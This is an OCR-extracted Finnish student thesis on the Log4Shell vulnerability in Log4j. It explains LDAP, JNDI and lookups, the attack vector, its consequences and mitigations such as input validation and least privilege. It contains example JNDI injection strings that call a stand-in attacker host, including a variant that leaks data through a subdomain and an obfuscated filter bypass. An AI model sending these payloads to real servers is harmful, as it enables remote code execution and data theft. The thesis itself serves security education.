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kielmassa tarkastellaan haavoittuvuuden mahdollistaman hyokkdysvektorin rakennetta seki
esitellddn keinoja olemukseltaan ennalta-arvaamattomien nollapdivdhaavoittuvuuksia hyo-
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1 Johdanto

Apache Software Foundation julkaisi joulukuussa 2021 laajalti kdytettyyn Log4j-lokituskir-
jastoonsa tietoturvapiivityksen, joka korjasi vuodesta 2013 lidhtien kirjastossa olleen haa-
voittuvuuden. Log4Shelliksi nimetty haavoittuvuus mahdollistaa mielivaltaisen koodin suo-
rittamisen kirjastoa kayttavalld laitteella (“CVE-2021-44228 Detail” 2022). Haavoittuvuus
on mittakaavaltaan valtava. Haavoittuvuudelle altistuivat muun muassa Ars Technican uuti-
soinnin mukaan (Goodin 2021)) useat suuryritykset, kuten Amazon, Apple ja Cloudflare, sekd
Belgian puolustusministerio (“Belgian Defence ministry network partially down following

cyber attack™ [2021)).

Log4Shell on mielekis tutkimuskohde vakavuutensa ja ajankohtaisuutensa vuoksi. Tutkiel-
massa tehddédn ldpileikkaus haavoittuvuuden mahdollistamaan hyokkédysvektoriin ja esite-
tddn keinoja, joilla Log4Shellin ja muiden samankaltaisten nollapéivihaavoittuvuuksien seu-

rauksia voidaan ennaltaehkéista.

Tutkielma alkaa hyokkéysvektorin kannalta olennaisten teknologioiden esittelemiselld. Lu-
vussa (3| tarkastellaan haavoittuvuuden siséltinyttd Log4j-kirjastoa seki sitd, miten hyok-
kdysvektorin muodostavat osat liittyvit siihen. Luvussa M| kisitellddn itse haavoittuvuutta,
demonstroidaan sen mahdollistaman hyokkdysvektorin toiminta sekéd luodaan katsaus haa-

voittuvuuden aiheuttamiin seuraksiin ja esitetdin keinoja seurausten ennaltachkdisemiseksi.



2 Taustatietoja

Téssd luvussa kisitelldin Log4Shell-haavoittuvuuden kannalta olennaisia teknologioita. Kus-
sakin alaluvussa luodaan yleiskatsaus sen kisitteleméén teknologiaan ja esitelldén sen toi-
minnallisuutta niiltd osin kuin se on haavoittuvuuden mahdollistaman hyokkdysvektorin hah-
mottamisen kannalta tarpeellista. Kaésiteltdvien teknologioiden toiminnallisuudet tuodaan

yhteen luvussa [3] jossa niiden kayttod kisitellddn Log4j-kirjaston yhteydessa.

2.1 Lightweight Directory Access Protocol

Lightweight Directory Access Protocol (lyh. LDAP) on sovelluskerroksen verkkoprotokolla.
Protokollan kiyttotarkoitus on hakemistopalveluiden kanssa kommunikoiminen (Koutsoni-

kola ja Vakali 2004).

Hakemistopalvelut ovat erityisiin kdyttotapauksiin tarkoitettuja tietokantoja, joissa data sii-
lytetdédn hierarkisessa puurakenteessa. Hakemistopalvelut optimoidaan suorittamaan nopeita
lukuoperaatioita (Carter 2003), minké vuoksi niiden kéyttd on loogista sovelluksissa, joiden
luku-kirjoitus-suhde on korkea. Niin ollen luku- ja kirjoitusoperaatioiden samanaikaisuu-
desta syntyvien ongelmien ratkaisemiseen liittyvit ominaisuudet eivit ole yhtd olennaisia
hakemistopalveluissa kuin yleiskdyttoisissd tietokannoissa (Carter |2003), ja ne ovat usein

toiminnoiltaan yleiskdyttoisid tietokantoja yksinkertaisempia (Howes ja Smith [1997).

LDAP-protokollan kiyttdma tietomalli médritellddn RFC 4512 -dokumentissa (Zeilenga 2006).
Protokollaa noudattava hakemistopalvelu késittelee dataa attribuutti-arvo-pareista koostuvi-
na tyypitettyind tietueina. LDAP-hakemistoon ei voida tallentaa tietoa mielivaltaisessa muo-
dossa, vaan kiytossd olevat attribuutit seki tietueiden tyypittdmiseen kdytetyt objektiluokat
madritellddn palvelukohtaisissa skeemoissa. Objektiluokka on kokoelma pakollisia ja sal-
littuja attribuutteja, jotka tyydyttdvi tietue katsotaan objektiluokkaan kuuluvaksi. Jokaisen

LDAP-hakemistossa sdilytettdvin tietueen on kuuluttava vihintddn yhteen objektiluokkaan.

LDAP-tietueessa on mahdollista sdilyttdd my0s Java-olioita. Tdhén tarkoitukseen kiytettd-

vin tietueen tyypittdmiseen kédytettdavit objektiluokat médritellddin RFC 2713 -dokumentissa



(Seligman, Lee ja Ryan |1999). Java-olion sdilyttimiseen kédytetyssi tietueessa voi olla joko
attribuutti, joka sisiltdd olion sarjallistettuna Java-tavukoodina tai attribuutti, jonka arvona

on viite factory-luokkaan, jota kiyttiden olio luodaan.

2.2 Java Naming and Directory Interface

Java Naming and Directory Interface (Iyh. JNDI) on Javan ohjelmointirajapinta, jonka kayt-
totarkoitus on eri protokollia noudattavien nimi- ja hakemistopalveluiden kanssa kommuni-
koiminen (“Lesson: Overview of JNDI”[2022)). Se koostuu ohjelmointirajapinnasta, Service
Provider Interfacesta (lyh. SPI) sekd Naming Managerista, joka hoitaa kahden ensin maini-

tun komponentin vélisen logiikan.

Ohjelmointirajapinta sisidltdd metodit, joiden avulla Java-sovelluksen hakemistopalveluiden
kdyttoon liittyvd koodi voidaan toteuttaa protokollariippumattomasti. Tdmén seurauksena
Java-sovelluksesta kisin kdytetyn hakemistopalvelun protokollan vaihtuessa, itse Java-koodia

el ole tarpeen muokata. (Thomas 2002)

Service Provider Interface mahdollistaa eri protokollia noudattavien nimi- ja hakemistopal-
veluiden kiyttimisen JNDI:n kautta (Thomas 2002). Rajapinnan tarkoitus on mahdollistaa
sovelluksen osien joustava korvattavuus (Seacord [2002). JNDI:n tapauksessa timi tarkoit-
taa sitd, ettd esimerkiksi kdytossd olevaa hakemistopalveluprotokollaa vaihdettaessa itse JN-
DI:n koodia ei muokata, vaan rajapinnan toteuttava komponentti korvataan sellaisella, jo-
ka osaa kommunikoida haluttua protokollaa kéyttden. Java Development Kitin mukana tulee
valmiit komponentit LDAP-, CORBA-, RMI- ja DNS-protokollien kdyttimisti varten (“Les-
son: Overview of JNDI” 2022)).

JNDI mahdollistaa sellaisten Java-sovellusten ohjelmoimisen, jotka pystyvit kdyttdméén ha-
kemistopalveluihin tallennettua dataa. INDI:n kanssa yhteensopivissa LDAP-protokollan ha-
kemistopalveluissa voi siilyttdd dataa myos Java-olioina alaluvussa [2.T]esitetyssd muodossa.

Java-sovellus voi my0s suorittaa JNDI:n kautta saamaansa Java-tavukoodia.



2.3 StrLookup

Tissd alaluvussa kuvaillaan StrLookup-rajapinnan toteuttavien lookup-liitdnnéisten toimin-
taperiaate haavoittuvuuden kannalta olennaisin osin. Kuvailu on kirjoitettu Apache Log4j 2

-kirjaston dokumentaation (“Apache Log4j 2 User’s Guide” 2022) pohjalta.

StrLookup-rajapinta on Apache Commons Lang -kirjastosta lainattu ja muokattu taytta-
miidn Log4j-kirjaston tarpeet. Rajapinnan toteuttavien lookup-liitdnniisten kiyttdtarkoitus
on merkkijonon osan korvaaminen korvattavan merkkijonon perusteella muodostetulla merk-
kijonolla. Liitdnndisten avulla voidaan tehdd dynaamisia muutoksia lokiviestin muodostavan
merkkijonon siséltoon. Kirjaston mukana tulee valmiita liitdnniisid, mink lisdksi rajapinnan

toteuttavia liitdnnéisia on mahdollista luoda itse.

Ennen lokitetun merkkijonon ohjaamista eteenpéin Log4;j etsii ja korvaa siitd sitd varten mer-
kityt osamerkkijonot. Etsittdvd merkkijono muodostuu $-merkisti, sitd seuraavista aaltosu-
luista seké aaltosulkujen sisdin kirjoitetusta merkkijonosta, joka yritetdéin korvata lookup-
liitdnniistd kdyttden. Aaltosulkujen sisdén tulee tieto siitd, mité liitdnndistd kdyttden merkki-

jono on tarkoitus korvata seki kyseiselle liitdnndiselle vietdvit argumentit.

Alla olevissa esimerkeissd kidytetddn haavoittuvuuden kannalta olennaisia JndiLookup- ja
EnvironmentLookup-liitdnnéisid. JndiLookup mahdollistaa muuttujien hakemisen hakemis-
topalvelusta JNDI-ohjelmointirajapintaa kidyttden ja EnvironmentLookup lukee ajoympdris-

ton ympdristomuuttujia.

Ajoympdriston komentotulkin polun lisddminen lokiviestiin onnistuu ympéristomuuttujia lu-
kevaa EnvironmentLookup-liitdnniistd kdyttden seuraavalla merkkijonolla: “komentotulkki:
${env:SHELL}”. Esimerkin lopulliseksi lokiin kirjattavaksi merkkijonoksi voisi muodostua

esimerkiksi “komentotulkki: /ust/bin/bash”.

Merkkijonojen tulkinta tapahtuu rekursiivisesti eli liitdnnédisen tulkittavaksi annettava merk-
kijono voi itsessddn sisdltdd lookup-liitdnndisten tulkittavaksi merkittyja merkkijonoja. Esi-
merkiksi merkkijonosta ”${jndi:${env:LDAP_OSOITE}}” suoritetaan ensin sisempi tul-
kintaoperaatio, joka selvittdd pyydetyn ympdristdmuuttujan arvon ja korvaa silli pyynnoén

sisdltivian osamerkkijonon. Tamin jilkeen tulkitaan ulompi merkitty merkkijono, minka



seurauksena JndiLookup-liitdnnédinen tekee pyynnon LDAP_OSOITE-muuttujan sisdltiméin
merkkijonon osoittamaan kohteeseen. Merkkijonon lopullinen arvo muodostuu palvelimelta

saapuvasta datasta, esimerkiksi Java-olion palauttamasta arvosta.



3 Logdj-kirjasto

Tami luku alkaa yleiskatsauksella lokittamiseen sekd tutkielmassa kisiteltdvin haavoittu-
vuuden sisiltdneeseen Log4j-lokikirjastoon haavoittuvuuden kontekstin hahmottamisen sel-
keyttimiseksi. Tdtd seuraa osio, jossa kdydddn ldpi, miten luvun [2] alaluvuissa esiteltyja

teknologioita voidaan kiyttdd Log4j:n kanssa.

Lokin pitdminen tarkoittaa systemaattista ja hallittua sovelluksen ajonaikaisten tapahtumien
talteen kirjaamista (Gupta 2003). Lokia voidaan pitidd esimerkiksi sovelluksen toiminnasta
tai sen kiyttdjien toimista. Lokiviestit ovat usein péddasiallinen informaatioldhde diagnosoi-
taessa sovelluksen ajonaikaisia virhetilanteita tai ajoympériston ongelmia (Yuan ym. |[2012).
Niitd voidaan kayttdd my0Os esimerkiksi jirjestelménvalvontaan (Shang ym. 2014) tai kdyt-

tdjdanalytiikan datana (Bernaschina ym. 2017).

Chen ym. (2017) mukaan lokittamisen toteuttaminen yksinkertaisimmillaan onnistuu kuksu-
malla kdytetyn ohjelmointikielen tulostusfunktioita suoraan koodin seassa. Tillainen toteu-
tustapa on altis kertyvén tiedon médridn ja rinnakkaisuuksiin liittyvien ongelmien hallitse-
mattomuudelle. Tapahtumien kirjaamiseen on olemassa kirjastoja, joiden on tarkoitus suo-
raviivaistaa monimutkaisen lokidatan hallittu muodostaminen ja tallentaminen. Tutkielman
kannalta olennainen néisti kirjastoista on laajalti kdytetty Java-sovelluksesta késin kiytettd-

viksi tarkoitettu Apache Log4j 2.

Log4j-kirjastolla suoritettava lokittaminen tapahtuu kutsumalla Logger-olion metodeita oh-
jelmakoodin seassa. Lokiviestit on mahdollista luokittella eri lokitustasoille (engl. log le-
vel), johon voi suhtautua kuin jérjestysasteikolliseen muuttujaan. Alla olevassa esimerkis-
sd Logger-olio asetetaan log-muuttujan arvoksi kutsumalla LogManager-luokan staattista
getLogger-metodia. Logger-olio siséltdd oman erillisen metodinsa kullekin lokitustasolle,
joiden avulla lokitettavan viestin lokitustaso mééritelldin. Viestin lokitustasoa voidaan kéyt-
tdd esimerkiksi sen midrdnpidin midrittelemiseen. Esimerkissd log-muuttujan sisédltdmén
Logger-olion metodeita kutsuen lokitetaan ensin lokitustasoltaan warn-tasoinen ja sitten fatal-

tasoinen viesti.



import org.apache.logging.log4j.LogManager;

import org.apache.logging.log4j.Logger;

public class Foo {

private static final Logger log = LogManager.getLogger () ;

public static void main(String[] args) {
log.warn ("warn-tason lokiviesti");

log.fatal ("fatal-tason lokiviesti");

Lokitettavien viestien sisidltod voidaan muokata dynaamisesti siséllyttimailld Logger-oliolle
toimitettavaan merkkijonoon lookup-liitdnndisten tulkittavaksi merkittyjd osamerkkijonoja.

Liitdnniisten toiminta kuvataan yksityiskohtaisemmin alaluvussa

Haavoittuvuuden kannalta olennaista JndiLookup-liitdnnéistd voidaan hyodyntdd Log4j-kir-
jaston yhteydessa esimerkiksi konfiguraatiotiedostojen sijainnin keskittdmisessd. Kayttota-
pausesimerkki: taho voi yksinkertaistaa mikropalveluidensa lokiviestien sisidllon rakenteen
yhdenmukaistamisen sdilyttamailld niihin liittyvid asetuksia LDAP-palvelimella, josta yksit-

tdiset sovellukset noutavat ne lokiviestin luomisen yhteydessa.

Lokitusfunktioiden parametreihin voidaan luonnollisesti sisdllyttdd myos kayttdjiltd saapu-
vaa dataa. Esimerkiksi verkkosivuston hoitaessa uutiskirjeiden tilausten lokittamisen alla
olevaa funktiota kutsuen, kiyttdja pystyisi vaikuttamaan antamallaan syotteelld lokitettavaksi

paityvaan merkkijonoon.

public static void subscribe (String email) {

log.info (String.format ("%s tilasi uutiskirjeen.", email));



4 Haavoittuvuus

Log4Shell on Log4j-kirjaston versioiden 2.0-beta9 ja 2.15.0 vilisisté versioista 10ytyva haa-
voittuvuus, joka mahdollistaa mielivaltaisen koodin suorittamisen seki tietojen vuotamisen
hyokkédyksen kohteena olevalta laitteelta. Haavoittuvuus tuli julkisuuteen kirjastoa ylldpiti-
vin Apachen ulkopuolisen tahon toimesta eli kyseessid on niin kutsuttu nollapdivdhaavoittu-

vuus (engl. zero-day vulnerability).

Log4Shellin mahdollistava tekijid Log4j-kirjastossa on sen oletuskonfiguraatio, jossa méri-
telldéin kayttoon sellaisia Java Naming and Directory Interfacen ominaisuuksia, jotka mah-
dollistavat JINDI-pyynt6jen tekemisen mielivaltaiselle LDAP-palvelimelle (“CVE-2021-44228
Detail” 2022). Pyynnon tekemisen lisidksi JNDI luottaa oletusarvoisesti mistd tahansa osoit-

teesta haettuun Java-olioon, mikd mahdollistaa mielivaltaisen koodin suorittamisen.

Yhdysvaltain kauppaministerion alainen National Institute of Standards and Technology
méidrittelee Log4Shellin ddrimmaéisen vakavaksi haavoittuvuudeksi (“CVE-2021-44228 De-
tail” 2022). Haavoittuvuuden vakavuuteen ja sen merkittivyyteen vaikuttavia tekijoitd on
useita. Log4j-kirjaston laaja kiyttd nostaa haavoittuvuuden seurauksille alttiiden kohteiden
lukumédridd. Ars Technican selvityksen mukaan (Goodin 2021)) haavoittuvuus 18ytyi mo-
nien suurten yritysten, kuten Amazonin, Applen ja Cloudflaren, verkkopalveluista. Kirjasto
voi olla suoraan sovelluksen kédytossi tai epdsuoraan mikéli jokin sen riippuvuuksista kiyt-
tad kirjastoa. Log4j:n kiyton yleisyydestd seuraava hyokkédyspinnan laajuus voidaan ndhdi

hyokkidjid houkuttelevana tekijina.

Lisidksi haavoittuvuuden vakavuutta nostaa se, ettd kyseessd on nollapédivihaavoittuvuus.
Roumanin mukaan (Roumani 2021)) nollapéivihaavoittuvuudella tarkoitetaan sellaista 10y-
dettyd haavoittuvuutta, joka ei ole ennestddn ohjelmiston valmistajan tiedossa ja jonka kor-
jaavaa tietoturvapdivitystd se ei ole vield kehittinyt. Tietoturva-aukon pikainen paikkaami-
nen on ensisijaisen tirkedd erityisesti siind tapauksessa, etti tieto nollapdivihaavoittuvuu-
desta vuotaa julkisuuteen. Julkista tietoa oleva haavoittuvuus johtaa suurempaan miirdan

haavoittuvuutta hyddyntdméédn pyrkivid hyokkagjia.



4.1 Hyokkiysvektori

Haavoittuvuus perustuu Log4j-kirjaston kisittelemien lokiviestien sisdllon manipuloimiseen,
joten hyokkéysvektorin alkupisteeni voi toimia miké tahansa sellainen lokitettava merkki-
jonon, jonka sisdltoon hyokkéd;jd voi vaikuttaa. Esimerkkeji lokitettavista asioista luetellaan
luvussa [3] Alla olevassa esimerkissd hyokkdysvektorin alkupisteend kdytetdan HTTP-kutsun
otsikkotietojen User-Agent-kenttidd. User-Agent on merkittdvd mittari verkkosivun vierai-
lijoiden yksiloimisessd (Eckersley |2010), joten sen lokitetuksi paitymisen olettaminen on

mielekéstai.

Kuviossa [I] kuvatussa hyokkidyksessd kohteena oleva palvelin on méiritelty lokittamaan
HTTP-kutsujen User-Agent-kentén sisélto kdyttden haavoittuvuuden sisdltdvaa versiota Log4j-
kirjastosta. Hyokk&djdn hallussa oleva LDAP-palvelin on puolestaan médritelty vastaamaan

saapuvaan LDAP-pyyntd6n palauttamalla haitallista koodia sisdltdvin Java-luokan.

GET /index.html HTTP/1.1
Host: kohde.fi
User-Agent: ${jndi:ldap://hyokkaaja.xyz/payload}

Haavoittuvuudelle
altis palvelin
(kohde.fi)

LDAP-pyynto
Hyokkaaja

A

LDAP-vastaus

Hyokkaajan hallussa
oleva LDAP-palvelin
(Idap://hyokkaaja.xyz)

Kuvio 1. Mielivaltaisen koodin suorittaminen palvelinohjelmiston kautta.

Hyokkidja ldhettdd kohteena olevalle palvelimelle HTTP-kutsun, jonka otsikkotietojen User-
Agent-kentissd on tavanomaisen sisdllon sijaan haavoittuvuutta hyviksikdyttdméan suunni-
teltu merkkijono “${jndi:ldap://hyokkaaja.xyz/payload}”. Kun kohdepalvelin vastaanottaa
kutsun, User-Agent-kentén sisdltima merkkijono ohjataan lokitettavaksi kutsumalla Log4j:n
Logger-olion metodia. Alaluvussa [2.3kuvailtua toimintatapaa noudattaen Log4j pyrkii kor-

vaamaan merkkijonon kayttamailld JndiLookup-liitdnnéistd ennen viestin lokittamista. Lii-
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tanndinen tekee pyynnon merkkijonon sisédltimédian LDAP-osoitteeseen kayttaen INDI-ohjel-
mointirajapintaa, minkd jilkeen vastauksena saatu Java-luokka kirjoitetaan muistiin ja suo-

ritetaan.

Haavoittuvuus koskee palvelinten lisdksi myos Log4j-kirjastoa kiyttidvid asiakasohjelmia.
Kuviossa [2] esitetyssd hyokkdysvektorissa asiakasohjelman kautta on mahdollista ldhettda
joukkoviestejd, jotka tavoittavat kaikki muut samalla hetkelld palvelimeen yhteydessé ole-
vat kdyttdjit. Esimerkin asiakasohjelma pitdd palvelimella kdydyisti keskusteluista paikallis-
ta lokia. Hyokkéadjan ldhettidessd haavoittuvuutta hyviksikdyttdvin viestin, jokainen viestin
vastaanottava asiakasohjelma pyytii ja suorittaa hyokkidjan hallussa olevalta palvelimelta

saamansa Java-tavukoodin samaan tapaan kuin edellisen esimerkin kohdepalvelin.

— "${indi:ldap://hyokkaaja.xyz/payload}" ﬁ palvelin
Hyokkaaja
A >
O :\I

AAA

Hyokkaajan hallussa
oleva LDAP-palvelin
(Idap://hyokkaaja.xyz)

Kuvio 2. Mielivaltaisen koodin suorittaminen palvelimeen yhteydessé olevien asiakasohjel-

mien kautta.

Pelkkia LDAP-pyynt6jd kdyttden suoritetussa tietojen urkinnassa hyokkédjd kayttdad hyvak-
seen lookup-liitdnnéisten rekursiivista toimintatapaa. JNDI:n tekemén LDAP-pyynnon koh-
deosoitteeseen on mahdollista upottaa mitd tahansa lookup-liitdnnéisten selvitettdvissa ole-
vaa dataa. Kuvion [3] esimerkissd hyokkdidjd ohjastaa Log4j:n liittdimé@dn ohjelman kaksi en-
simmdiistd argumenttia hallussaan olevan palvelimen osoitteen aliverkkotunnukseksi ja te-
keméin LDAP-pyynnon muodostuvaan osoitteeseen. Hyokkidjd voi lokittaa talteen palveli-

melleen saapuvat pyynnét ja niiden sisdltimén vuotaneen datan.
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GET /index.html HTTP/1.1
3 Host: kohde.fi
User-Agent:
${indi:ldap://${main:0}.${main:1}.hyokkaaja.xyz/dev/null}
Hyokkadja Haavoittuvuudelle

altis palvelin
(kohde fi)

LDAP-pyynto

Idap:/fargl.arg2.hyokkaaja.xyz/dev/null

Hyokkaajan hallussa
oleva LDAP-palvelin
(Idap://hyokkaaja.xyz)

Kuvio 3. Datan urkinta LDAP-pyyntd6n upottamalla.

4.2 Seuraukset

Haavoittuvuus mahdollistaa mielivaltaisen koodin suorittamisen sellaisissa jirjestelmissi,
jotka kéyttdavit haavoittuvuuden sisdltavid versiota Logdj-kirjastosta sellaisten merkkijono-
jen lokittamiseen, joiden lokitettavaksi padtyviin sisdltoon ulkopuolinen taho voi vaikuttaa.
Lisédksi hyokkidjan on mahdollista myos urkkia mielivaltaista koodia suorittamatta sellaisia

tietoja, jotka on mahdollista hakea lookup-liitdnndisid kayttden.

Itse Java-ohjelmaan siséllytetyn toiminnallisuuden lisdksi hyokkéddjd voi Javan Runtime-
luokkaa kdyttden kidynnistdd sovelluksesta kidsin muita ohjelmia. Timéd mahdollistaa muun
muassa kuorikomentojen suorittamisen, minkd seurauksena haavoittuvuus perii shell-injek-

tioihin liittyvid seurauksia.

Unit 42:n analyysin mukaan (Yan ym. 2021) Log4Shell-haavoittuvuutta hyviksikédyttien on
pyritty mielivaltaista koodia suorittamalla muun muassa tunnistamaan haavoittuvuudelle alt-
tiita palvelimia, varastamaan ajoympéristoon liittyvid tietoja kuten jéarjestelmén kiyttdjien
salasanoja sekd ympéristomuuttujia, avaamaan takaovi (engl. backdoor) ja asentamaan kryp-
tovaluuttojen louhintaan kdytettdavid sovelluksia. Lisidksi Bitdefenderin havaintojen mukaan
(Zugec 202 1)) haavoittuvuutta kdytetdén laitteiden liittimiseksi hyokk&djian hallitsemaan bot-

tiverkkoon sekd kiristyshaittaohjelmien (engl. ransomware) levittimiseen.
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4.3 Seurausten ehkiiseminen

Nollapiivdhaavoittuvuuden ominaisuuksiin kuuluu se, ettei haavoittuvuuden mahdollista-
man hyokkidyksen yksityiskohtia tiedeti etukéteen. Téssd alaluvussa esitetddn kaksi hyviksi
todettua (Khan ym. 2022) ohjelmistoturvallisuuteen liittyvid kdytdnnettd, joita noudattamal-
la taho voi pyrkid ennaltachkdiseméédn Log4Shellid ja muita samankaltaisia haavoittuvuuksia

hyodyntéden tapahtuvia hyokkéayksia.

4.3.1 Kayttijin syotteen tarkastaminen

Haavoittuvuutta hyodyntidva hyokkidys tapahtuu lokitettavaksi padtyvada merkkijonoa mani-
puloimalla. Erds tapa hyokkédyksen ehkdisemiseksi on kidyttdjin syotteiden tarkastaminen
(engl. input validation). Liu ja Tan (2008a) mukaan syotettd tarkastaessa varmistetaan, ettd
se el riko sovelluksen sille asettamia rajoituksia. Rajoituksia noudattamattomat sydtteet voi-
daan joko hyliti tai niitd voidaan kisitelld sovelluksessa hyviksytyistd syotteistd poikkea-
valla tavalla. Sydtteiden tarkastamisen kunnollinen toteuttaminen on yksi parhaista keinoista

injektiohyokkiysten ehkiisemiseksi ja sovelluksen tietoturvan vahvistamiseksi.

Syotteen puutteellisen tarkastamisen seurauksena ohjelman kisiteltdviksi padtyy mahdol-
lisesti odottamattomassa muodossa olevaa dataa, mikéd voi altistaa sovelluksen esimerkiksi
mielivaltaisen koodin suorittamiselle (“CWE-20: Improper Input Validation” |2022)), kuten
Log4Shellin tapauksessa kédvi. Puutteellinen sydétteen tarkastaminen on yksi vaarallisimpia
ohjelmistoihin liittyvid heikkouksia (“2021 CWE Top 25 Most Dangerous Software Weak-
nesses” [2022).

Syotteen sisdltod voidaan tarkastella muun muassa vertaamalla sitd ennalta sallittuihin ar-
voihin tai tutkimalla sy6tteen rakennetta ja sen sisdltimid merkkejd esimerkiksi sddnnollisid
lausekkeita kdyttden (“Input Validation Cheat Sheet” 2022)). Kaiken kattavan syotteen tar-
kastamisen toteuttaminen ei kuitenkaan ole vaivatonta. Liu ja Tan (2008b) mukaan kdyttdjan
syotteen tarkastamisen suunnittelu ja toteuttaminen itsessddn on haastavaa. Lisiksi toteu-
tetut tarkastukset vaativat ajan kuluessa ylldpitoa ja pdivittdmistd, esimerkiksi ohjelmiston

toiminnan muuttuessa tai sen laajetessa.
Kiyttdjin syotteen validointi on ldhtokohtaisesti haastavaa, minki lisdksi Log4Shellin ta-
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pauksessa siitd tekee entistdkin monimutkaisempaa Log4j-kirjaston ominaisuuksien moni-
puolisuus. Lookup-liitdnniisten laajaa kirjoa seki niiden rekursiivista selvittimistd hyodyn-
tden hyokkadja voi pyrkid kiertiméan tarkastussdadannot obfuskoimalla hyokkadykseen kaytta-
ménsd merkkijonon. Esimerkiksi merkkijonot ”${jndi:ldap://osoite.fi/a}” ja LowerLookup-
liitanndistd hyodyntden obfuskoitu ”${${lower:j}ndi:${lower:1}dap://osoite.fi/a}” aiheutta-
vat Log4j:n kisittelemini pyynnon halutulle LDAP-palvelimelle, mutta vain ensimmiinen
jaa kiinni sellaiseen syotteen tarkastukseen, jossa etsitddn yksinkertaisesti haavoittuvuuden

kannalta olennaisia osamerkkijonoja kuten ”jndi”, ”Idap” tai "${jndi”.

4.3.2 Vihimpien oikeuksien periaate

Tarkastuksen lidpdisevin ilkedmielisen sydtteen aiheuttamien vahinkojen laajuteen vaikut-
taa moni tekijd. Hyokkéddjin toimintaa murron kohteena olevassa jéirjestelmissd voidaan ra-
joittaa noudattamalla vihimpien oikeuksien periaatetta (engl. principle of least privilege).
Saltzer ja Schroeder (1975) muotoilevat periaatteen tarkoittavan siti, ettd jokaiselle proses-
sille tulisi antaa vain ne kidyttdoikeudet, jotka se tarvitsee toimiakseen. Kayttooikeuksilla
sdddellddn yksinkertaisimmillaan sitd, mitd tiedostoja kunkin prosessin sallitaan lukea, kir-
joittaa tai suorittaa. Tarpeettomien kédyttooikeuksien antamatta jittaminen rajaa sovelluksen

kautta saapuvan hyokkdyksen vaikutusalaa jéarjestelméassa.

Krohn ym. (2005) mukaan ohjelmisto tulisi rakentaa monoliittisen sovelluksen sijaan pie-
nemmistd, tarkoituksenmukaisesti jaetuista, eristetyistd, keskendin kommunikoivista osista.
Niin toimittaessa kullekin ohjelmiston osan prosessille voidaan antaa tdsmélleen ne kéytto-
oikeudet, jotka se tarvitsee suorittaakseen tehtivinsa sen sijaan, ettd koko ohjelmistolla olisi

kaikki yksittdisten osien vaatimat kayttdoikeudet.

Ohjelmistokokonaisuuden pilkkomalla haavoittuvuutta hyodyntidvd hyokkiys rajoittuu eris-
tettyyn osaan ohjelmistoa, jolla ei ole kaikkia koko ohjelmiston tarvitsemia kdyttooikeuksia.
Tamad rajoittaa hyokkdyksestd potentiaalisesti koituvat vahingot koskemaan vain niité resurs-
seja, joiden kdyttoon haavoittuvaisella prosessilla on kidyttoikeudet. Esimerkiksi kuviossa
[T]esitetyn skenaarion kohdepalvelimen tapauksessa voisi olla mielekisti pohtia, voitaisiinko

muun muassa kayttdjatietojen kerddaminen eristid muusta ohjelmasta sellaiseksi osaksi, jolla
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ei ole oikeutta esimerkiksi ajaa kuorikomentoja.
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5 Yhteenveto

Tutkielmassa kisiteltiin Log4Shell-nollapdivdhaavoittuvuutta ja sen seurausten ennaltaeh-
kiisemistd. Haavoittuvuus altistaa Log4j:n oletuskonfiguraatiota kiyttivén, puutteellisesti
kiyttdjien syotteet tarkastavan sovelluksen mielivaltaisen koodin suorittamiselle. Hyokkad;ja
pystyy lokitettavaksi paityvin merkkijonon kautta ohjastamaan tillaisen sovelluksen nouta-

maan ja suorittamaan tahtomaansa Java-koodia.

Ennaltaehkiisykeinoina esitetyt kiyttdjdn syotteen tarkastaminen sekd vihimpien oikeuk-
sien periaatteen noudattaminen ovat yleisesti hyvéni pidettyja ohjelmistoturvallisuuskéytin-
teitd. Ehdotettujen ennaltachkdisykeinojen suunnittelemiseen ja toteuttamiseen liittyy toki
haasteensa, mutta viistdmaittd herdd kysymys, misti syisti monet suuretkin haavoittuvuudel-
le altistuneet ohjelmistot on suunniteltu ja toteutettu huomioimatta siind kdytetyn kirjaston

oletuskonfiguraatiota ohjelmistoturvallisuuden ndkokulmasta.
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